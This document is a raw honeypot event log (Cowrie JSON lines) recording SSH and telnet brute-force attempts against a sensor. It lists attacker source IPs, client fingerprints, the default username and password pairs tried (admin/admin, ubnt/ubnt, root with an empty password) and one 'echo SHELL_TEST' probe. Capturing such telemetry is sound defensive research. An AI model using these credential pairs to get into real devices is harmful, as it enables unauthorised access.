{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:b2:1b:f2:95:72:bf:8d:2f:79:65:48:fa:6e:95:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMC1MVm1MH3sXv3OCmeyJtm9pS6RlosReFz1jbubbwOu50yBnzVbpH0Io8kFKxIsq3Wf8gVX6/36Y24FaYjdpRoVCFCw6tX8LNLSB8jF7+f0VdkUq7lqPksUKmBPEm9OplUiv6UXiw2nixpOT+G8dw8gKU0HM7bOUlMtuDvuyXx1aGKskPg74QGlJcfZcTTUhslt5UBVIubwfhGVgxtyCt3ThX9BTRprtRrUJK4gu9s63sHvqw/JmQiSbWgKMYr4PfKMk2Uh4a39qEmykat/zwKxviTDqw3pb66tc9b42nck4b3nxtifKdF2YcnHrabC4vr+1U45qFQPMGjHVr2RCl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.899766Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:d2:a8:3f:e9:b5:06:22:3a:bd:73:26:48:79:68:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzWUTvvyH2R7/2lSmlTt1GZ8W+zIPbJQJFYRpLept3WhV/T2o4Nr9qx6owQiofbzptE1b71APD1QaO3XjfE62XeYm0o5IdyofuQ4kdrLzHNwROOqJ7q+9kGEqGJPM8PHOw861/gs7M4Awgw2pf0IKcBje3yJykC6bwM7c8fRcZnD5+87dcPuIW7KFJGtCEOgHpM84Oa1jyterkYTnE/dp430Pa8WS6f0C9I0wIPEfEe4AKE4+cDGBDJnI1e0/Ar3WTuA/867TmWD2vTTUPBtVS062wTi19h6BC+QlzLEV12uA7+fecRmV57VPnF3aHvO1KAmiSR1zcSD1JOsmrk41BQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:d2:a8:3f:e9:b5:06:22:3a:bd:73:26:48:79:68:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.986904Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:d2:a8:3f:e9:b5:06:22:3a:bd:73:26:48:79:68:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzWUTvvyH2R7/2lSmlTt1GZ8W+zIPbJQJFYRpLept3WhV/T2o4Nr9qx6owQiofbzptE1b71APD1QaO3XjfE62XeYm0o5IdyofuQ4kdrLzHNwROOqJ7q+9kGEqGJPM8PHOw861/gs7M4Awgw2pf0IKcBje3yJykC6bwM7c8fRcZnD5+87dcPuIW7KFJGtCEOgHpM84Oa1jyterkYTnE/dp430Pa8WS6f0C9I0wIPEfEe4AKE4+cDGBDJnI1e0/Ar3WTuA/867TmWD2vTTUPBtVS062wTi19h6BC+QlzLEV12uA7+fecRmV57VPnF3aHvO1KAmiSR1zcSD1JOsmrk41BQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.991186Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:be:d1:cd:09:06:58:a9:6c:34:62:c1:14:bc:1e:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn1XhfUvsoN21uXW5vBirS+AW+JSemwHiI0wYyKm18/r1ciH8Jnh/x/Wj7Pbs8BR75LcBA6sIYuKz8R3OIDe4azuUCfknqozluhXfWFJUJ0tIl6+jYY9pIQTaqewldbkiARpsyBkwuNjm2Kcq97HPHgFtK0A0KOwdVBchvseIFWdKsuJ8v3qpUcwpRojVUw8Mqa9ucB4zw1EcdxigeGK68RMrTjekdOxp5aGL+whUgYT8BpNxTQzdA9EPk12xMEF1vQh6Qxfvla+dfW5Czxe6IKGBJAm1I8CZsxyC1VMwDtVmaJ4OgXacCBvsdlrM/egjS3YtbAdzalh9lzHELGA9z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:be:d1:cd:09:06:58:a9:6c:34:62:c1:14:bc:1e:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:56.076006Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:be:d1:cd:09:06:58:a9:6c:34:62:c1:14:bc:1e:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn1XhfUvsoN21uXW5vBirS+AW+JSemwHiI0wYyKm18/r1ciH8Jnh/x/Wj7Pbs8BR75LcBA6sIYuKz8R3OIDe4azuUCfknqozluhXfWFJUJ0tIl6+jYY9pIQTaqewldbkiARpsyBkwuNjm2Kcq97HPHgFtK0A0KOwdVBchvseIFWdKsuJ8v3qpUcwpRojVUw8Mqa9ucB4zw1EcdxigeGK68RMrTjekdOxp5aGL+whUgYT8BpNxTQzdA9EPk12xMEF1vQh6Qxfvla+dfW5Czxe6IKGBJAm1I8CZsxyC1VMwDtVmaJ4OgXacCBvsdlrM/egjS3YtbAdzalh9lzHELGA9z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:56.080495Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:56.164913Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon","message":"login attempt [daemon/daemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:57.978999Z","src_ip":"176.65.139.121","session":"bd31cdef83f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.0670249462127686,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:58.994695Z","src_ip":"176.65.139.121","session":"bd31cdef83f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":53594,"dst_ip":"159.203.135.109","dst_port":23,"session":"8504bd151d18","protocol":"telnet","message":"New connection: 176.65.139.121:53594 (159.203.135.109:23) [session: 8504bd151d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:59.075743Z"}
{"eventid":"cowrie.session.closed","duration":3.364011764526367,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:02.439584Z","src_ip":"176.65.139.121","session":"8504bd151d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":53612,"dst_ip":"159.203.135.109","dst_port":23,"session":"85c2c11490a1","protocol":"telnet","message":"New connection: 176.65.139.121:53612 (159.203.135.109:23) [session: 85c2c11490a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:02.538379Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:07.087082Z","src_ip":"176.65.139.121","session":"85c2c11490a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.430718660354614,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:07.968891Z","src_ip":"176.65.139.121","session":"85c2c11490a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46206,"dst_ip":"159.203.135.109","dst_port":23,"session":"217508fbb347","protocol":"telnet","message":"New connection: 176.65.139.121:46206 (159.203.135.109:23) [session: 217508fbb347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:08.052497Z"}
{"eventid":"cowrie.session.closed","duration":34.69619107246399,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:10.142044Z","src_ip":"152.42.224.71","session":"b3a55ef84c14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43288,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ddf90ee5ae","protocol":"telnet","message":"New connection: 152.42.224.71:43288 (10.17.0.5:23) [session: 31ddf90ee5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:11.421626Z"}
{"eventid":"cowrie.session.closed","duration":4.132396697998047,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:12.184782Z","src_ip":"176.65.139.121","session":"217508fbb347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.34595322608948,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:51.767465Z","src_ip":"152.42.224.71","session":"31ddf90ee5ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61085,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3ef7a7fc5e1","protocol":"ssh","message":"New connection: 152.42.212.128:61085 (10.17.0.5:22) [session: e3ef7a7fc5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:59.285472Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:59.290668Z","src_ip":"152.42.212.128","session":"e3ef7a7fc5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:28:59.294996Z","src_ip":"152.42.212.128","session":"e3ef7a7fc5e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":45974,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb4494fce31f","protocol":"telnet","message":"New connection: 176.65.139.118:45974 (159.203.135.109:23) [session: eb4494fce31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:01.767317Z"}
{"eventid":"cowrie.session.closed","duration":3.933157444000244,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:05.700321Z","src_ip":"176.65.139.118","session":"eb4494fce31f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":41314,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ec3d1935c7c","protocol":"telnet","message":"New connection: 176.65.139.118:41314 (159.203.135.109:23) [session: 7ec3d1935c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:05.817766Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:10.133728Z","src_ip":"176.65.139.118","session":"7ec3d1935c7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.066803932189941,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:12.884461Z","src_ip":"176.65.139.118","session":"7ec3d1935c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":41102,"dst_ip":"159.203.135.109","dst_port":23,"session":"73766b67895d","protocol":"telnet","message":"New connection: 176.65.139.118:41102 (159.203.135.109:23) [session: 73766b67895d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:13.125475Z"}
{"eventid":"cowrie.session.closed","duration":2.282505750656128,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:15.407861Z","src_ip":"176.65.139.118","session":"73766b67895d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":41698,"dst_ip":"159.203.135.109","dst_port":23,"session":"2411cc338929","protocol":"telnet","message":"New connection: 176.65.139.118:41698 (159.203.135.109:23) [session: 2411cc338929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:15.519967Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:21.037758Z","src_ip":"176.65.139.118","session":"2411cc338929","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:21.085268Z","src_ip":"176.65.139.118","session":"2411cc338929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59440,"dst_ip":"159.203.135.109","dst_port":22,"session":"6077df791a3d","protocol":"ssh","message":"New connection: 103.176.20.57:59440 (159.203.135.109:22) [session: 6077df791a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:21.648350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:21.653001Z","src_ip":"103.176.20.57","session":"6077df791a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:21.908727Z","src_ip":"103.176.20.57","session":"6077df791a3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:22.113427Z","src_ip":"176.65.139.118","session":"2411cc338929","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890s","message":"login attempt [root/1234567890s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:22.669159Z","src_ip":"103.176.20.57","session":"6077df791a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:23.924366Z","src_ip":"103.176.20.57","session":"6077df791a3d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2d21ee5994ccbac393712d22926106d165b22e692fafd71ea61b0f78c7a4b6f5","size":364,"shasum":"2d21ee5994ccbac393712d22926106d165b22e692fafd71ea61b0f78c7a4b6f5","duplicate":true,"duration":"5.8","message":"Closing TTY Log: var/lib/cowrie/tty/2d21ee5994ccbac393712d22926106d165b22e692fafd71ea61b0f78c7a4b6f5 after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:26.859158Z","src_ip":"176.65.139.118","session":"2411cc338929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.350621938705444,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:26.870512Z","src_ip":"176.65.139.118","session":"2411cc338929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37070,"dst_ip":"159.203.135.109","dst_port":23,"session":"4329914f98dc","protocol":"telnet","message":"New connection: 176.65.139.118:37070 (159.203.135.109:23) [session: 4329914f98dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:27.993988Z"}
{"eventid":"cowrie.session.closed","duration":1.410776138305664,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:29.404643Z","src_ip":"176.65.139.118","session":"4329914f98dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":59280,"dst_ip":"159.203.135.109","dst_port":23,"session":"53d838da7715","protocol":"telnet","message":"New connection: 176.65.139.118:59280 (159.203.135.109:23) [session: 53d838da7715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:29.718612Z"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"admintelecom","message":"login attempt [telecomadmin/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:32.921878Z","src_ip":"176.65.139.118","session":"53d838da7715","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.64295506477356,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:35.361452Z","src_ip":"176.65.139.118","session":"53d838da7715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50052,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bad37597513","protocol":"telnet","message":"New connection: 176.65.139.118:50052 (159.203.135.109:23) [session: 9bad37597513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:35.472995Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57520,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e6411a130e","protocol":"telnet","message":"New connection: 152.42.224.71:57520 (10.17.0.5:23) [session: 00e6411a130e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:36.649932Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57522,"dst_ip":"10.17.0.5","dst_port":23,"session":"1372693ea69c","protocol":"telnet","message":"New connection: 152.42.224.71:57522 (10.17.0.5:23) [session: 1372693ea69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:36.931378Z"}
{"eventid":"cowrie.session.closed","duration":4.387389421463013,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:39.860279Z","src_ip":"176.65.139.118","session":"9bad37597513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":48620,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d2645ca2cec","protocol":"telnet","message":"New connection: 176.65.139.118:48620 (159.203.135.109:23) [session: 5d2645ca2cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:40.064563Z"}
{"eventid":"cowrie.session.closed","duration":2.3144795894622803,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:42.378957Z","src_ip":"176.65.139.118","session":"5d2645ca2cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":52910,"dst_ip":"159.203.135.109","dst_port":23,"session":"727847097df6","protocol":"telnet","message":"New connection: 176.65.139.118:52910 (159.203.135.109:23) [session: 727847097df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:42.523294Z"}
{"eventid":"cowrie.session.closed","duration":2.3873157501220703,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:44.910488Z","src_ip":"176.65.139.118","session":"727847097df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":55428,"dst_ip":"159.203.135.109","dst_port":23,"session":"0469c916612a","protocol":"telnet","message":"New connection: 176.65.139.118:55428 (159.203.135.109:23) [session: 0469c916612a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:45.076773Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:51.622817Z","src_ip":"176.65.139.118","session":"0469c916612a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.547981262207031,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:52.624605Z","src_ip":"176.65.139.118","session":"0469c916612a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37102,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dac254d894e","protocol":"telnet","message":"New connection: 176.65.139.118:37102 (159.203.135.109:23) [session: 6dac254d894e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:52.703022Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49052,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d981ccfce8","protocol":"telnet","message":"New connection: 152.42.224.71:49052 (10.17.0.5:23) [session: c9d981ccfce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:52.739688Z"}
{"eventid":"cowrie.session.closed","duration":2.4251646995544434,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:55.128107Z","src_ip":"176.65.139.118","session":"6dac254d894e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":40000,"dst_ip":"159.203.135.109","dst_port":23,"session":"af1409c3e620","protocol":"telnet","message":"New connection: 176.65.139.118:40000 (159.203.135.109:23) [session: af1409c3e620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:29:55.262112Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:02.275579Z","src_ip":"176.65.139.118","session":"af1409c3e620","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.99456524848938,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:06.256509Z","src_ip":"176.65.139.118","session":"af1409c3e620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":44930,"dst_ip":"159.203.135.109","dst_port":23,"session":"93d328825010","protocol":"telnet","message":"New connection: 176.65.139.118:44930 (159.203.135.109:23) [session: 93d328825010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:06.395754Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51376,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8bf3e9ca302","protocol":"telnet","message":"New connection: 176.65.139.118:51376 (159.203.135.109:23) [session: f8bf3e9ca302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:10.083317Z"}
{"eventid":"cowrie.session.closed","duration":3.2379298210144043,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:13.321143Z","src_ip":"176.65.139.118","session":"f8bf3e9ca302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42454,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f66e881f3b","protocol":"telnet","message":"New connection: 176.65.139.118:42454 (159.203.135.109:23) [session: 91f66e881f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:14.375080Z"}
{"eventid":"cowrie.session.closed","duration":1.3158321380615234,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:30:15.690761Z","src_ip":"176.65.139.118","session":"91f66e881f3b","protocol":"telnet"}
